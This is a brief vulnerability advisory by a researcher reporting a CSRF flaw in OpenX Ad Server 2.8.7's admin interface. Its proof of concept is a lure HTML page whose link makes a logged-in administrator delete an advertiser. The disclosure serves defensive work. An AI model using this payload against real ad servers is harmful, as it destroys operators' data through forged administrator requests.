OpenX Ad Server version 2.8.7 suffers from a cross site request forgery vulnerability.
2122972907040dd56b1dcbfb3d0e13db9229e8c17a99da1c23958464c856bccb
Title: OpenX Ad Server CSRF Vulnerability
Product: OpenX Ad Server
Vulnerable version: 2.8.7 and probably earlier versions
Fixed version: N/A
Impact: High
Homepage: http://www.openx.org/
Vulnerability ID: SV-01
Found: 7/7/2011
By: Narendra Shinde
Secur-I Research Group
http://securview.com/
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Vendor description:
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OpenX is the worlds leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.
OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide
Source: http://www.openx.org/about/facts
Vulnerability Information:
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Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required : Yes
CVE Name: N/A
Vulnerability overview/description:
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The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.
Proof of concept:
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Code:
<html>
<body>
<h1> Check This new Snap </h1>
<a href=http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=2> Check This </a>
</body>
</html>
Fore more details please find attached advisory document.
Thanks for your time.
Thanks & Regards,
Narendra Shinde.
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